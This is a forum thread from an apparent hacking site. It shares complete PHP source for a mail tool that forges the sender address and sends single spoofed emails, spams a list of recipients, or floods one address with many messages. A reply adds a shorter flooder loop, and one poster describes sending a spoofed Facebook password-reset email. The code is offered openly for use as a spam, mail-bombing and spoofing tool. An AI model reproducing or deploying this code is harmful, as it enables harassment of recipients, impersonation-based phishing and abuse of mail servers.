Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

Send Anonym Mail & Mail Bomber/Flooder/Spammer/Spoofer

Hi i post my Php sourcecode for send anonym mail.

In this sourcecode you can make a mail bomber with a spoofen or fake mail adress =)


PHP Code

<? 
/* 
(C) TCN (TheCookieNation)
*/ 
?> 
<title>Sender Anonymous Email SpameR  FLoodeR By TCN (TheCookieNation)</title> 
<? 
// 
error_reporting (0); 
if(!set_time_limit(0)) { 
$limit = false; 
} else { 
set_time_limit(0); 
ignore_user_abort(1); 
$limit = true; 
} 

$log = 'log.txt'; // Log file 

ini_set('max_execution_time', '0'); 

?> 
set_time_limit(0) = <?if($limit)echo('<font color=Green>On</font>');else 
echo('<font color=Red>Off</font> (Working time is limited with the current settings of the server)');?><br> 
<? 

$ip = getenv('REMOTE_ADDR'); 
if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3') 
{ 

$_POST['to'] = stripslashes($_POST['to']); 
$_POST['msg'] = stripslashes($_POST['msg']); 
$_POST['from'] = stripslashes($_POST['from']); 
$_POST['subject'] = stripslashes($_POST['subject']); 

if($_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe']) 
{ 
$headers = "MIME-Version: 1.0\r\n"; 
$headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n"; 
$headers .= "From: ".$_POST['from']."\n"; 
if($_GET['mail'] == '1') 
{ 
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message'); 
} 
elseif($_GET['mail'] == '2') 
{ 
$_POST['to'] = explode("\n",$_POST['to']); 
foreach($_POST['to'] as $poluchatels) 
{ 
mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message'); 
} 
} 
elseif($_GET['mail'] == '3') 
{ 
if(preg_match('/[0-9]+/',$_POST['kol'])) 
{ 
for($i=0;$i<$_POST['kol'];$i++) 
{ 
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message'); 
sleep(1); 
} 
} 
else 
{ 
echo('Incorrect (or not entered) number of messages'); 
} 
} 
$f = fopen($log,'a'); 
fwrite($f,'Message sent &'.$_POST['msg'].'& with subject "'.$_POST['subject'].'" for "'.$_POST['to'].'" from IP - "'.$ip."\"\r\n"); 
fclose($f); 
echo('<center><b><font color="green">Message succesfully sent</font></b></center>'); 
} 
else 
{ 
?> 
<form style="width:350px" method='post'> 
<? 
if($_GET['mail'] == '1' || $_GET['mail'] == '3') 
{ 
echo("Receiver &nbsp;<input type='text'name='to'><br>"); 
} 
?> 
Sender <input type='text' name='from'><br> 
Subject &nbsp;<input type='text' name='subject'><br> 
<? 
if($_GET['mail'] == '3') 
{ 
echo("Amount of messages <input type='text' name='kol'><br>"); 
} 
?> 
<br> 
htm -> <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'><- text<br> 
<? 
if($_GET['mail'] == '2') 
{ 
echo("Receivers<br><textarea name='to' rows='10' cols='30'>[email protected] 
[email protected] 
[email protected]</textarea>"); 
} 
?> 
<br>Message<br> 
<textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'> 
</form> 
<? 
} 
} else { 
?><br> 
<a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Send simple message</a><br> 
<a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Spam</a><br> 
<a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Flood</a><br> 
<? 
} 

Don't forget say thanks if u like that :)
Wouldn't it just be easier to do this

PHP Code

<?php
if(isset($_GET['msg'])){
    
$message = $_GET['msg'];
    
$subject = $_GET['subject'];
    
$from = $_GET['from'];
    
$to = $_GET['to'];
    
$n = (int)$_GET['n'];

    
$header = "From: $from \r\n";

    for(
$x = 0; $x < $n; $x++){
        
mail($to, $subject, $message, $header);
    }
}
?>

<form method="GET">
    <p>subject </p><input type="text" name="subject"/><br>
    <p>msg </p><input type="text" name="msg"/><br>
    <p>from </p><input type="text" name="from"/><br>
    <p>number of mails </p><input type="text" name="n"/><br>
</form> 

Please note that I didn't use (C ) (psst, L2 ©) or use capital letters in the beginning and end of a word to sound super cool (FLoodeR)
PHP Code

<?php 
echo('<center><b><font color="green">Message succesfully sent</font></b></center>'); 

People still use <center> <font> and color="" ??? Have you not heard of CSS. W3C would kick off a shit storm.
Yes i know but i don't want to use Css or W3C, i just codded that for "fun" and i just want to show and share my source, for me, it's more sample than Css and W3C, All in one, not one in All =)
(Aug 24, 2013 08:08 AM)SIM-1361728 Wrote:  Yes i know but i don't want to use Css or W3C, i just codded that for "fun" and i just want to show and share my source, for me, it's more sample than Css and W3C, All in one, not one in All =)

Look, if you don't want to follow the standards, don't share your code.

Nevertheless, thank you for recreating the wheel.

Spoiler (Click to View)
The Alliance
W3C isn't a language... It stands for World Wide Web Consortium.

Having a W3C Compliant website means that you've coded everything properly and syntactically correct to current standards.
Could i add that when you send a "Anonym Mail " its not bullet proof. If you look at the headers which is set it will show your server ip -_- I sent a email from facebook be for so the email came from [email protected] requesting password changes. But if you look close enough at the email's sent you will see in the headers that the email was sent from go daddy haha.
Correct me if im wrong. but isn't Bombing, Flooding and spamming the same thing.. I mite be a noob to this spamming deal?!?!?!
(Aug 24, 2013 08:19 AM)ManDoR Wrote:  Look, if you don't want to follow the standards, don't share your code.

Nevertheless, thank you for recreating the wheel.

Spoiler (Click to View)

I think someone needs to learn the meaning of irony ;)

😝
--

:)

--

Best form of contact is email: [email protected]


i actually like this OP :) especially the feedback like the green "message sent" text. i also like the multiple options :D thanks for posting
You can do this code in a few lines
It´s work for all hmm?
So it´s good ^^
(Sep 10, 2013 08:00 AM)SIM-1361728 Wrote:  It´s work for all hmm?
So it´s good ^^

Just because it works, it doesn't mean it's good.
Let's say.... I agree with ManDoR
I know but it´s work so you can use..
(Aug 24, 2013 08:08 AM)SIM-1361728 Wrote:  Yes i know but i don't want to use Css or W3C, i just codded that for "fun" and i just want to show and share my source, for me, it's more sample than Css and W3C, All in one, not one in All =)

You can always use inline CSS! It doesn't have to be external.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[PHP] by Firaspower2May 18, 2015 07:23 AM 10 1,330 May 18, 2015 07:23 AM
Last Post: Anxuein
[PHP] by Pr4th4mJun 10, 2013 01:02 PM 16 724 Jun 10, 2013 01:02 PM
Last Post: Pocked
[PHP] by TextDec 9, 2012 02:14 PM 10 391 Dec 9, 2012 02:14 PM
Last Post: al5ina5